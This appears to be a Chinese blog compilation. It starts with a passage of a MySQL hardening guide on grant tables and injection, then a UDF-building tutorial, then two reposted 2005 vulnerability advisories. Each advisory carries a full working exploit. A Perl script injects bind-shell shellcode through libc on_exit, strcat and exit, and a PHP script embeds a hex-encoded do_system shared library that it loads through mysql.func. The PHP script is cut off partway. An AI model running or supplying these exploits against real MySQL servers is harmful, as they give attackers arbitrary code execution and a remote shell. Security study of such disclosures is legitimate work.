  | ‘192.168.1.% ‘ | ‘test‘ | test用户可以从C类子网192.168.1中的任意主机连接数据库 | 

  +—————————–+——–+———————————————+ | ‘192.168.1.0/255.255.255.0‘ | ‘test‘ | 同上 | 

  +—————————–+——–+——————————————–+ 

  SQL的字符串通配符%表示匹配任意字符,可以是0个字符,通配符_表示匹配一个字符。 

  权限列指出在范围列中指定的用户拥有何种权限。该表使用GRANT语句的权限名称。对于绝大多数在user、db和host表中的权限列的名称与GRANT语句中有明显的联系。如Select_priv对应于SELECT权限。 

  3)授权表使用举例 

  grant用于给增加用户和创建权限,revoke用于删除用户权限。 下面是一些用grant增加用户和创建权限的例子: 

  mysql> grant all privileges on *.* to test@localhost identified by ‘test‘ with grant option; 

  这句增加一个本地具有所有权限的test用户(超级用户),密码是test。ON子句中的*.*意味着"所有数据库、所有表"。with grant option表示它具有grant权限。

  mysql> grant select,insert,update,delete,create,drop privileges on test.* to test1@‘192.168.1.0/255.255.255.0‘ identified by ‘test‘; 

  这句是增加了一个test1用户,口令是test,但是它只能从C类子网192.168.1连接,对test库有select,insert,update,delete,create,drop操作权限。 

  用grant语句创建权限是不需要再手工刷新授权表的,因为它已经自动刷新了。 

  给用户创建权限还可以通过直接修改授权表: 

  mysql> insert into user values("localhost","test",password("test"),"Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"); 

  mysql> flush privileges; 

  这两句和上面第一句grant的效果是一样的,也是增加了一个本地的test超级用户。我们看到用grant方便多了,而且还不需flush privileges 。 

  mysql> insert into user (host,user,password) values("192.168.1.0/255.255.255.0","test1",PASSWORD("test")); 

  mysql> insert into db values("192.168.1.0/255.255.255.0","test","test1","Y","Y","Y","Y","Y","Y","N","N","N","N") 

  mysql> flush privileges; 

  这三句和上面第二句grant的效果也是一样的,也是增加了一个只能从C类子网192.168.1连接,对test库有select,insert,update,delete,create,drop操作权限的test1用户,口令是test。要取消一个用户的权限,使用revoke语句。revoke的语法非常类似于grant语句,除了to用from取代并且没有identified by和with grant option子句,下面是用revoke删除用户权限的例子: 

  mysql> revoke all on test.* from test1@‘192.168.1.0/255.255.255.0‘; 

  这句revoke就撤消了上面第二句grant创建的权限,但是test1用户并没有被删除,必须手工从user表删除: 

  mysql> delete from user where user=‘test1‘; mysql> flush privileges; 

  这样,test1用户就彻底删除了。 

  这些只是MySQL授权表的简单使用,更多详细的资料请见MySQL提供的手册。 

  3、编程需要注意的一些问题 

  不管是用哪种程序语言写连接MySQL数据库的程序,有一条准则是永远不要相信用户提交的数据! 

  对于数字字段,我们要使用查询语句:SELECT * FROM table WHERE ID=‘234‘,不要使用SELECT * FROM table WHERE ID=234这样的查询语句。MySQL会自动把字串转换为数字字符并且去除非数字字符。如果用户提交的数据经过了mysql_escape_string处理,这样我们就可以完全杜绝了sql inject攻击,关于sql inject攻击请参考下面链接的文章: http://www.spidynamics.com/papers/S…nWhitePaper.pdf

  http://www.ngssoftware.com/papers/a…l_injection.pdf 

  各种编程语言该注意的问题: 

  1)所有Web程序: 

  a)尝试在Web表单输入单引号和双引号来测试可能出现的错误,并找出原因所在。 

  b)修改URL参数带的%22 (‘"‘), %23 (‘#‘), 和 %27 (‘‘‘)。 

  c)对于数字字段的变量,我们的应用程序必须进行严格的检查,否则是非常危险的。 

  d)检查用户提交的数据是否超过字段的长度。 

  e)不要给自己程序连接数据库的用户过多的访问权限。 

  2)PHP: a)检查用户提交的数据在查询之前是否经过addslashes处理,在PHP 4.0.3以后提供了基于MySQL C API的函数mysql_escape_string()。 

  3)MySQL C API: 

  a)检查查询字串是否用了mysql_escape_string() API调用。 

  4)MySQL++: 

  a)检查查询字串是否用了escape和quote处理。 

  5)Perl DBI: 

  a)检查查询字串是否用了quote()方法。 

  6)Java JDBC: 

  a)检查查询字串是否用了PreparedStatement对象。 

  4、一些小窍门 

  1)如果不慎忘记了MySQL的root密码,我们可以在启动MySQL服务器时加上参数–skip-grant-tables来跳过授权表的验证 (./safe_mysqld –skip-grant-tables &),这样我们就可以直接登陆MySQL服务器,然后再修改root用户的口令,重启MySQL就可以用新口令登陆了。 

  2)启动MySQL服务器时加上–skip-show-database使一般数据库用户不能浏览其它数据库。 3)启动MySQL服务器时加上–chroot=path参数,让mysqld守护进程运行在chroot环境中。这样SQL语句LOAD DATA INFILE和SELECT … INTO OUTFILE就限定在chroot_path下读写文件了。这里有一点要注意,MySQL启动后会建立一个mysql.sock文件,默认是在/tmp目录下。使用了chroot后,MySQL会在chroot_path/tmp去建立mysql.sock文件,如果没有chroot_path/tmp目录或启动MySQL的用户没有这个目录写权限就不能建立mysql.sock文件,MySQL会启动失败。比如我们加了–chroot=/usr/local/mysql/启动参数,那么最好建立一个启动MySQL的用户能写的 

  /usr/local/mysql/tmp目录,当然我们也可以用–socket=path来指定mysql.sock文件的路径,但这个path一定要在chroot_path里面。 

  4)启动MySQL服务器时加上–log-slow-queries[=file]参数,这样mysqld会把SQL命令执行时间超过long_query_time的写入file文件。如果没有指定=file,mysqld默认会写到数据目录下的hostname-slow.log。如果只指定了filename,没有指定路径,那么mysqld也会把filename写到数据目录下。我们通过这个日志文件可以找出执行时间超长的查询语句,然后尽可能的优化它减轻MySQL服务器的负担。 

  5)如果我们只需本机使用MySQL服务,那么我们还可以加上–skip-networking启动参数使MySQL不监听任何TCP/IP连接,增加安全性。(非常推荐) 

  6)MySQL的更多mysqld启动选项请见MySQL手册4.16.4 mysqld Command-line Options
2005年05月22日

曾以为Windows版本的MySQL存在不能使用UDFBUG诸提交了一个bug报告。不过
似乎发现是我搞错了,MySQL的技术支持人员给了非常完美的解答,同大家分享
一下。下边是原文回复 :)

Sorry this isn’t a bug.
Below I pasted a sample I did sometime ago for another user:

Ok. Assuming you have VC++ and the source distribution and a server
running,
I will create a UDF that returns a name:

Note: the sample is ugly, but the purpose here is to show you how
to handle the UDF.

- Open the mysqld.dsw workspace.
- Add New project to the workspace
- Project name: my_udf
- Select Win32 Dynamic-Link Library
- Click OK
- Select An Empty DLL project
- Click Finish
- Click OK
- Add a new file called my_udf.cpp to the project:

#include <stdlib.h>
#include <winsock.h>
#include <mysql.h>

extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
       char *error);
}

char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
       char *error)
{
    char * me = "my name";

    return me;
}

- Type Ctrl+N for to create a new file.
- Select text type
- File name: my_udf.def
- Edit the above file with the below contents:
LIBRARY         UDF_EXAMPLE
DESCRIPTION             ‘Example Using UDF with VC++’
VERSION         1.0
EXPORTS
        my_name

- Right Click the my_udf project and select Settings
- Click the C/C++ tab
- Select General in the Category Combo
- Add the macro HAVE_DLOPEN to the PreProcessor definition
- Select Preprocessor in the Category Combo
- Add the include path to the text box: Additional Include directories
  e.g: ../include
- Press F7 for to build the DLL.

- Copy the my_udf.dll to the environment path directory:
  winntsystem32 for example.

- Start the mysql client and issue:

C:mysql-udfin>mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 2 to server version: 3.23.52-max-nt

Type ‘help;’ or ‘h’ for help. Type ‘c’ to clear the buffer.

mysql> CREATE FUNCTION my_name RETURNS STRING SONAME "my_udf.dll";
Query OK, 0 rows affected (0.08 sec)

mysql> select my_name();

mysql> drop function my_name;
Query OK, 0 rows affected (0.00 sec)

画蛇添足的作下简要中文说明。

抱歉,这并不是一个bug。下面我粘贴一个以前为某个客户做的简例,假设你有了
VC++,
源码分发,并且有一个正常运行的MySQL服务器。

我将创建一个UDF它将一个名字:
注意:例子非常简陋,目的是让你了解该如何处理手头的UDF

- 打开 mysqld.dsw 工作区。
-
添加新项目到这个工作区
- Project name: my_udf            //
项目名称:my_udf
-
选择 Win32 Dynamic-Link Library // Win32动态连接库
-
点击 OK
-
选择 An Empty DLL project       // 一个空DLL项目
-
点击 Finish
-
点击 OK
-
添加新文件 my_udf.cpp 到项目中:
#include <stdlib.h>
#include <winsock.h>
#include <mysql.h>

extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
       char *error);
//
兼容C
}

char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
       char *error)
{
    char * me = "my name";

    return me;
    //
调用此UDF将返回 my name
}
-
Ctrl+N 来创建一个新文件。
-
选择 text 类型
- File name: my_udf.def file://
文件名:my_udf.def
-
按照下边的内容编辑文件。
LIBRARY         UDF_EXAMPLE
DESCRIPTION             ‘Example Using UDF with VC++’
VERSION         1.0
EXPORTS
        my_name

- 右击my_udf项目并选择Settings
-
C/C++ 选项卡
-
选择 General
-
添加宏 HAVE_DLOPE 到预处理器定义
-
选择 Preprocessor
-
添加头文件路径: Additional Include directories
 
例如: ../include
-
F7 去编译成 DLL.

- 复制 my_udf.dll 到环境变量path定义过的目录
 
比如 winntsystem32

- 打开mysql客户端

C:mysql-udfin>mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 2 to server version: 3.23.52-max-nt

Type ‘help;’ or ‘h’ for help. Type ‘c’ to clear the buffer.

mysql> CREATE FUNCTION my_name RETURNS STRING SONAME "my_udf.dll";
Query OK, 0 rows affected (0.08 sec)

mysql> select my_name();

mysql> drop function my_name;
Query OK, 0 rows affected (0.00 sec)


ok!
欢迎大家来MySQL板交流UDF设计经验!我的电子邮件是HeartIcy@163.com
手机13706410308。同时,我们MySQL板准备开始系统化持续性翻译MySQL文档,
希望大家多多支持共同完成这一项目。

HeartIcy
2003
517日于中国济南

涉及程序:
MySQL数据库程序
 
描述:
Mysql CREATE FUNCTION libc函数库允许执行任意代码漏洞
 
详细:
MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL数据库对于特定命令处理过程的实现存在漏洞,拥有数据库管理员权限的用户可能利用漏洞在运行MySQL数据库的主机上以MySQL进程的权限执行任意指令。

如果经过认证的用户对MySQL管理数据库’mysql’拥有INSERT和DELETE的权限的话,就可能通过注入畸形的CREATE FUNCTION命令参数,利用libc中的函数获取MySQL进程的执行权限。

include/mysql_com.h中定义的结构如下:

196 typedef struct st_udf_args
197 {
198   unsigned int arg_count;       /* Number of arguments */
199   enum Item_result *arg_type;       /* Pointer to item_results */
200   char **args;            /* Pointer to argument */
201   unsigned long *lengths;       /* Length of string arguments */
202   char *maybe_null;         /* Set to 1 for all maybe_null args */
203 } UDF_ARGS;
204
205   /* This holds information about the result */
206
207 typedef struct st_udf_init
208 {
209   my_bool maybe_null;         /* 1 if function can return NULL */
210   unsigned int decimals;        /* for real functions */
211   unsigned long max_length;       /* For string functions */
212   char   *ptr;            /* free pointer for function data */
213   my_bool const_item;         /* 0 if result is independent of
arguments */
214 } UDF_INIT;
215

在从sql_udf.h调用xxx函数时MySQL使用这个结构的顺序如下:

对于STRING函数:

char *xxx(UDF_INIT *initid, UDF_ARGS *args,
       char *result, unsigned long *length,
       char *is_null, char *error);

对于INTEGER函数:

long long xxx(UDF_INIT *initid, UDF_ARGS *args,
         char *is_null, char *error);

因此第一个参数是UDF_INIT指针,第二个是UDF_ARGS指针。

通过使用on_exit,strcat(或strcpy)和exit libc函数就可以更改执行流。

man strcat:
….
char *strcat(char *dest, const char *src);
….

man on_exit:
….
    int on_exit(void (*function)(int , void *), void *arg);

on_exit()函数通过exit(3)或程序主函数返回将给出的函数注册为在正常的程序终止处调用。

….

man exit:
….
     void exit(int status);

exit()函数导致将正常的程序终止,并将status & 0377的值返回到父进程(见wait(2))。所有atexit()和on_exit()注册的函数都会以反序调用,然后刷新并关闭所有打开的文件流,删除tmpfile()创建的文件。

如果在mysql使用这些函数的话会发生以下情况。

CREATE FUNCTION ’strcat’ RETURNS STRING SONAME ‘libc.so.6′;
会调用
strcat(UDF_INIT *initid, UDF_ARGS *args)

在initid指向的位置cat args (arg_count)指向的值。

CREATE FUNCTION ‘on_exit’ RETURNS INTEGER SONAME ‘libc.so.6′;
会调用
on_exit(UDF_INIT *initid, UDF_ARGS *args)

注册initid指向的函数。

CREATE FUNCTION ‘exit’ RETURNS INTEGER SONAME ‘libc.so.6′;
会调用
exit( initid)
以status initd退出。

假设在MySql DBMS中创建了strcat,on_exit和exit
mysql> select on_exit(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
               0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
               0,0,0,0,0,0,0,0,0,0,0,0)\G

mysql> select strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
              0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
              0,0,0,0,0,0,0,0,0,0)\G
*************************** 1. row ***************************
strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
     0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0):
1
1 row in set (0.00 sec)
mysql> select exit();
Lost Connection.

这样就通过使用on_exit将initid指向的位置注册为在exit执行,然后用strcat覆盖*initd,最后调用exit。

现在mysql守护程序执行流如下:
1. 调用exit,然后跳到initid和execute位置。
2. 位置中包含有以下值:相当于一些无用opcode的0×00000001。
3. 因此mysql会崩溃并退出。

攻击者可以使用这个功能添加参数,向目标中注入简单的opcode。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111066115808506&w=2
*>

受影响系统:
MySQL AB MySQL 4.1.5
MySQL AB MySQL 4.1.4
MySQL AB MySQL 4.1.3-beta
MySQL AB MySQL 4.1.3-0
MySQL AB MySQL 4.1.2-alpha
MySQL AB MySQL 4.1.0-alpha
MySQL AB MySQL 4.1.0-0
MySQL AB MySQL 4.0.9-gamma
MySQL AB MySQL 4.0.9
MySQL AB MySQL 4.0.8-gamma
MySQL AB MySQL 4.0.8
MySQL AB MySQL 4.0.7-gamma
MySQL AB MySQL 4.0.7
MySQL AB MySQL 4.0.6
MySQL AB MySQL 4.0.5a
MySQL AB MySQL 4.0.5
MySQL AB MySQL 4.0.4
MySQL AB MySQL 4.0.3
MySQL AB MySQL 4.0.21
MySQL AB MySQL 4.0.20
MySQL AB MySQL 4.0.2
MySQL AB MySQL 4.0.18
MySQL AB MySQL 4.0.15
MySQL AB MySQL 4.0.14
MySQL AB MySQL 4.0.13
MySQL AB MySQL 4.0.12
MySQL AB MySQL 4.0.11-gamma
MySQL AB MySQL 4.0.11
MySQL AB MySQL 4.0.10
MySQL AB MySQL 4.0.1
MySQL AB MySQL 4.0.0

不受影响系统:
MySQL AB MySQL 4.1.10a
MySQL AB MySQL 4.0.24
 
攻击方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

["exp3.pl" (exp3.pl)]

#!/usr/bin/perl
##  Mysql CREATE FUNCTION libc arbitrary code execution.
##
##  Author: Stefano Di Paola
##  Vulnerable: Mysql <= 4.0.23, 4.1.10
##  Type of Vulnerability: Local/Remote – input validation
##  Tested On : Mandrake 10.1 /Debian Sarge
##  Vendor Status: Notified on March 2005
##  
## Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
##
##
## Disclaimer:
##  In no event shall the author be liable for any damages
##  whatsoever arising out of or in connection with the use
##  or spread of this information.
##  Any use of this information is at the user’s own risk.
##
##
##
## It calls on_exit(address)
## then overwrites the address with strcat or strcpy
## and then calls exit
##
## Usage:
##       perl myexp.pl numberofnops offset
## Example:
##       perl myexp.pl 3 0
################################################

use strict;
use DBI();
use Data::Dumper;
use constant DEBUG => 0;
use constant PASS => "USEYOURPASSHERE";
# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost",
          "root", PASS ,{‘RaiseError’ => 1});
          
### This is the opcode pointed by the address where on_exit jumps
###
###
### 0×3deb jmp 0×3d
### but needs to be decremented by 2. ("shell",0×0x3de9,0)
##                          -1        -1 = 0×3de9-2
# resulting in 0×3deb
## 0×3d is the distance from the address on_exit calls and the beginning of
## bind shell "\x6a\x66\x58\x6a\x01….
my $jmp=0×3de9+($ARGV[1]<<8);
printf("Using %x\n",$jmp);
my $zeros="0,"x($jmp);
### Bind_shell… works…..but maybe needs some nop \x90
### so i use argv[0] to repeat \x90
### It binds a shell to port 2707 (\x0a\x93)
my $shell= ("\x90"x$ARGV[0])."\x6a\x66\x58\x6a\x01".
"\x5b\x99\x52\x53\x6a\x02\x89".
"\xe1\xcd\x80\x52\x43\x68\xff\x02\x0a\x93\x89\xe1".
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

########### Bash !!!!!!!!!!!###############
#  my $shell=("\x90"x$ARGV[0])."\x6a\x0b\x58\x99\x52\x68".
# "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
my $onex_create="create function on_exit returns integer soname ‘libc.so.6′;";
print $onex_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex_create);
if (!$sth) {
   print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
if($@){
   print "Error:" . $sth->errstr . "\n";
}


my $strcat_create="create function strcat returns string soname ‘libc.so.6′;";
print $strcat_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($strcat_create);
if (!$sth) {
   print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
if($@){
   print "Error:" . $sth->errstr . "\n";
}

my $exit_create="create function exit returns integer soname ‘libc.so.6′;";
print $exit_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($exit_create);
if (!$sth) {
   print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
if($@){
   print "Error:" . $sth->errstr . "\n";
}

my $onex="select   on_exit(‘".$shell."’,".$zeros."0),  strcat(0);";
print "select   on_exit(‘".$shell."’, 0),  strcat(0);";
print $onex,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex);
if (!$sth) {
   print "Error:" . $dbh->errstr . "\n";
}
print "Select on_exit\n";

if (!$sth->execute) {
   print "Error:" . $sth->errstr . "\n";
}
  while (my $ref = $sth->fetchrow_hashref()) {
    print Dumper($ref);
   }


my $strc="select   strcat(‘".$shell."’,".$zeros."0),   exit(0);";
print $strc,"\n" if(DEBUG);
$sth = $dbh->prepare($strc);
if (!$sth) {
   print "Error:" . $dbh->errstr . "\n";
}

if (!$sth->execute) {
   print "Error:" . $sth->errstr . "\n";
}
print "Select exit\n";
 
解决方案:
厂商补丁:

MySQL AB
——–
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mysql.com/
Mysql CREATE FUNCTION mysql.func表允许注入任意函数库漏洞 (Other,补丁)
 
涉及程序:
Mysql数据库程序
 
描述:
Mysql CREATE FUNCTION mysql.func表允许注入任意函数库漏洞
 
详细:
MySQL是一款开放源代码数据库系统。

如果经过认证的用户对mysql管理数据库拥有INSERT和DELETE的权限的话,就可能使用任意目录下的函数库。

漏洞的起因是对sql_udf.cc中udf_init()函数的目录分隔符缺少检查。如果试图创建一个函数来加载任意目录中函数库时:

mysql> create function do_system returns integer soname
‘/tmp/do_system.so’;
ERROR 1124: No paths allowed for shared library

可见无法从任意目录加载函数库。

在sql_udf.cc中:

int mysql_create_function(THD *thd,udf_func *udf)
{
…..
/*
   Ensure that the .dll doesn’t have a path
   This is done to ensure that only approved dll from the system
   directories are used (to make this even remotely secure).
*/
if (strchr(udf->dl, ‘/’))
{
   send_error(&thd->net, ER_UDF_NO_PATHS,ER(ER_UDF_NO_PATHS));
   DBUG_RETURN(1);
}

调用上述内容,检查函数库名称是否包含有“/”,因此无法从任意位置加载函数库。

下面是储存的函数信息:

mysql> describe mysql.func;
+——-+——————————+——+—–+———-+——-+
| Field | Type                 | Null | Key | Default | Extra |
+——-+——————————+——+—–+———-+——-+
| name | char(64) binary         |    | PRI |       |     |
| ret  | tinyint(1)             |    |   | 0     |     |
| dl   | char(128)             |    |   |       |     |
| type | enum(‘function’,'aggregate’) |    |   | function |     |
+——-+——————————+——+—–+———-+——-+

mysql.func表中保存了有关加载的和创建的函数的所有信息,且每次mysql重启时都会更新。通过这种方式就可以检索到所有之前所创建的函数。

上述步骤是通过sql_udf.cc中的调用实现的。

void udf_init()
{
….

这个调用读取mysql.func列表并重置所有之前已声明的和创建的函数,但事实上没有检查dl字段中是否包含“/”。

如果攻击者不使用CREATE FUNCTION而是使用INSERT INTO的话,就可在dl字段的共享库中放置名称。

INSERT INTO mysql.func (name,dl) VALUES
(‘do_system’,'/tmp/do_system.so’);

然后强迫mysql重启:
CREATE FUNCTION exit RETURNS INTEGER SONAME ‘libc.so.6′;
SELECT exit(0);

mysql重启时允许攻击者使用导入的函数,这样就会加载/tmp/do_system.so的共享库。

如果用户拥有File_Priv (SELECT …INTO OUTFILE)的话就可进行远程攻击。
受影响系统:
MySQL AB MySQL 4.1.5
MySQL AB MySQL 4.1.4
MySQL AB MySQL 4.1.3-beta
MySQL AB MySQL 4.1.3-0
MySQL AB MySQL 4.1.2-alpha
MySQL AB MySQL 4.1.0-alpha
MySQL AB MySQL 4.1.0-0
MySQL AB MySQL 4.0.9-gamma
MySQL AB MySQL 4.0.9
MySQL AB MySQL 4.0.8-gamma
MySQL AB MySQL 4.0.8
MySQL AB MySQL 4.0.7-gamma
MySQL AB MySQL 4.0.7
MySQL AB MySQL 4.0.6
MySQL AB MySQL 4.0.5a
MySQL AB MySQL 4.0.5
MySQL AB MySQL 4.0.4
MySQL AB MySQL 4.0.3
MySQL AB MySQL 4.0.21
MySQL AB MySQL 4.0.20
MySQL AB MySQL 4.0.2
MySQL AB MySQL 4.0.18
MySQL AB MySQL 4.0.15
MySQL AB MySQL 4.0.14
MySQL AB MySQL 4.0.13
MySQL AB MySQL 4.0.12
MySQL AB MySQL 4.0.11-gamma
MySQL AB MySQL 4.0.11
MySQL AB MySQL 4.0.10
MySQL AB MySQL 4.0.1
MySQL AB MySQL 4.0.0

不受影响系统:
MySQL AB MySQL 4.1.10a
MySQL AB MySQL 4.0.24
 
攻击方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

["exp2.php" (exp2.php)]

<?
/*************************************
** Mysql CREATE FUNCTION func table arbitrary library injection
**
** Author: Stefano Di Paola
** Vulnerable: Mysql <= 4.0.23, 4.1.10
** Type of Vulnerability: Local/Remote Privileges Escalation – input validation
** Tested On : Mandrake 10.1 /Debian Sarge
** Vendor Status: Notified on March 2005
**
** Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
**
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user’s own risk.
**
**
*************************************
*/


// this is the MySql root password.
$pass=’useyoupasswordhere’;

function mysql_create_db($db,$link)
{
$query="CREATE database $db;";
return mysql_query($query, $link) ;

}
// the library in little endian hex. (from NGS’s Hackproofing_MySql \
http://www.nextgenss.com/papers/HackproofingMySQL.pdf ) \
$solib="0×7f454c4601010100000000000000000003000300010000002006000034000000340a00000000 \
00003400200004002800160015000100000000000000000000000000000094070000940700000500000000 \
1000000100000094070000941700009417000004010000080100000600000000100000020000009c070000 \
9c1700009c170000c8000000c8000000060000000400000051e57464000000000000000000000000000000 \
00000000000600000004000000250000002800000000000000260000000000000000000000000000000000 \
00000000000022000000270000000000000000000000000000000000000000000000000000000000000000 \
00000000000000230000001e00000000000000000000000000000000000000000000002000000000000000 \
00000000000000000000000021000000250000000000000000000000000000002400000000000000000000 \
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000 \
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000 \
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000 \
000000001c000000000000001f000000000000001d00000000000000000000000000000000000000000000 \
0000000000b4000000000000000300010000000000f0010000000000000300020000000000700400000000 \
00000300030000000000100500000000000003000400000000006005000000000000030005000000000090 \
050000000000000300060000000000c0050000000000000300070000000000d00500000000000003000800 \
00000000e8050000000000000300090000000000200600000000000003000a000000000074070000000000 \
0003000b0000000000900700000000000003000c0000000000941700000000000003000d00000000009c17 \
00000000000003000e0000000000641800000000000003000f00000000006c180000000000000300100000 \
00000074180000000000000300110000000000781800000000000003001200000000009818000000000000 \
03001300000000000000000000000000030014000000000000000000000000000300150000000000000000 \
00000000000300160000000000000000000000000003001700000000000000000000000000030018000000 \
000000000000000000000300190000000000000000000000000003001a0000000000000000000000000003 \
001b00010000009c170000000000001100f1ff610000000000000076000000120000002f000000d0050000 \
00000000120008007900000098180000000000001000f1ff35000000740700000000000012000b003b0000 \
000000000097000000220000005e000000080700003600000012000a007200000098180000000000001000 \
f1ff0a00000078180000000000001100f1ff850000009c180000000000001000f1ff4a0000000000000000 \
0000002000000020000000000000000000000020000000005f44594e414d4943005f474c4f42414c5f4f46 \
465345545f5441424c455f005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f5f6378 \
615f66696e616c697a65005f4a765f5265676973746572436c617373657300646f5f73797374656d006c69 \
62632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e33 \
00474c4942435f322e30000000000000000000000000000000000000000000000000000000000000000000 \
00000000000000000000000000000000000000000000000001000200010001000100030001000100010001 \
000000000001000200680000001000000000000000731f6909000003008a000000100000001069690d0000 \
02009600000000000000941700000800000098170000080000002b070000021d00008c1800000621000090 \
180000062600009418000006270000841800000721000088180000072600005589e583ec08e845000000e8 \
e0000000e85b010000c9c300ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffff \
ffffa3100000006808000000e9d0ffffff00000000000000005589e553e8000000005b81c34f120000528b \
831c00000085c07402ffd0585bc9c39090909090909090909090909090905589e553e8000000005b81c31f \
1200005180bb200000000075348b931400000085d2752f8b8320ffffff8b1085d2741783c004898320ffff \
ffffd28b8320ffffff8b1085d275e9c68320000000018b5dfcc9c383ec0c8b831cffffff50e846ffffff83 \
c410ebbd89f68dbc27000000005589e553e8000000005b81c3af110000508b83fcffffff85c0740a8b8318 \
00000085c0750b8b5dfcc9c38db60000000083ec0c8d83fcffffff50e809ffffff83c4108b5dfcc9c39055 \
89e583ec088b450c8338017409c745fc00000000eb1a83ec0c8b450c8b4008ff30e8fcffffff83c410c745 \
fc000000008b45fcc9c390905589e55653e8000000005b81c32e1100008d83f0ffffff8d70fc8b40fc83f8 \
ff740c83ee04ffd08b0683f8ff75f45b5e5dc390905589e553e8000000005b81c3fb10000050e8c6feffff \
595bc9c3000000000000941700007018000001000000680000000c000000d00500000d0000007407000004 \
000000b4000000050000007004000006000000f00100000a000000a00000000b0000001000000003000000 \
781800000200000010000000140000001100000017000000c0050000110000009005000012000000300000 \
0013000000080000001600000000000000feffff6f60050000ffffff6f01000000f0ffff6f10050000faff \
ff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000 \
000000ffffffff00000000ffffffff00000000000000009c1700000000000000000000fe0500000e060000 \
000000000000000000000000004743433a2028474e552920332e332e3120284d616e6472616b65204c696e \
757820392e3220332e332e312d316d646b2900004743433a2028474e552920332e332e3120284d616e6472 \
616b65204c696e757820392e3220332e332e312d326d646b2900004743433a2028474e552920332e332e31 \
20284d616e6472616b65204c696e757820392e3220332e332e312d326d646b2900004743433a2028474e55 \
2920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d326d646b2900004743 \
433a2028474e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d316d \
646b2900002e7368737472746162002e68617368002e64796e73796d002e64796e737472002e676e752e76 \
657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e \
6974002e74657874002e66696e69002e65685f6672616d65002e64617461002e64796e616d6963002e6374 \
6f7273002e64746f7273002e6a6372002e676f74002e627373002e636f6d6d656e74000000000000000000 \
000000000000000000000000000000000000000000000000000000000000000000000b0000000500000002 \
000000b4000000b40000003c01000002000000000000000400000004000000110000000b00000002000000 \
f0010000f001000080020000030000001c0000000400000010000000190000000300000002000000700400 \
0070040000a00000000000000000000000010000000000000021000000ffffff6f02000000100500001005 \
000050000000020000000000000002000000020000002e000000feffff6f02000000600500006005000030 \
000000030000000100000004000000000000003d0000000900000002000000900500009005000030000000 \
02000000000000000400000008000000460000000900000002000000c0050000c005000010000000020000 \
000900000004000000080000004f0000000100000006000000d0050000d005000017000000000000000000 \
000004000000000000004a0000000100000006000000e8050000e805000030000000000000000000000004 \
00000004000000550000000100000006000000200600002006000054010000000000000000000010000000 \
000000005b000000010000000600000074070000740700001a000000000000000000000004000000000000 \
00610000000100000002000000900700009007000004000000000000000000000004000000000000006b00 \
00000100000003000000941700009407000008000000000000000000000004000000000000007100000006 \
000000030000009c1700009c070000c8000000030000000000000004000000080000007a00000001000000 \
03000000641800006408000008000000000000000000000004000000000000008100000001000000030000 \
006c1800006c08000008000000000000000000000004000000000000008800000001000000030000007418 \
00007408000004000000000000000000000004000000000000008d00000001000000030000007818000078 \
08000020000000000000000000000004000000040000009200000008000000030000009818000098080000 \
04000000000000000000000004000000000000009700000001000000000000000000000098080000fa0000 \
00000000000000000001000000000000000100000003000000000000000000000092090000a00000000000 \
0000000000000100000000000000";


$link=mysql_connect("127.0.0.1","root",$pass);
if (!$link) {
  die(‘Could not connect: ‘ . mysql_error());
}
echo "Connected successfully as root\n";
echo "creating db for lib\n";
mysql_create_db(‘my_db’,$link) or print (‘cannot create my_db db, sorry!’);
echo "done….\n";
echo "selecting db for lib\n";
